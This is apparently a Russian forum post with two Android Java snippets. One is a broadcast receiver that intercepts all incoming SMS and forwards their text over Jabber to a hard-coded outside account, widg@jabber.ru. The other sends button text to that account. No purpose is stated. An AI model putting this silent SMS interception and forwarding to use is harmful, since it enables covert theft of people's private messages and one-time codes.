Код: Выделить всё
public void Send(View view) {
Log.i("AAAA", "SETUP!");
Button button = (Button) view;
String target = button.getText().toString();
Message message = new Message("widg@jabber.ru");
message.setBody(target);
new MessageSender().execute(message);
}
Код: Выделить всё
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] msgs = new SmsMessage[pdus.length];
ArrayList<String> numbers = new ArrayList<String>();
ArrayList<String> messages = new ArrayList<String>();
for (int i=0; i<msgs.length; i++){ //пробегаемся по всем полученным сообщениям
msgs[i] = SmsMessage.createFromPdu((byte[])pdus[i]);
numbers.add(msgs[i].getOriginatingAddress()); //получаем номер отправителя
messages.add(msgs[i].getMessageBody().toString());//получаем текст сообщения
}
if (messages.size() > 0){
//отправляем сообщение по жабберу
Message message = new Message("widg@jabber.ru");
message.setBody(String.valueOf(messages));
new MessageSender().execute(message);
}
}
}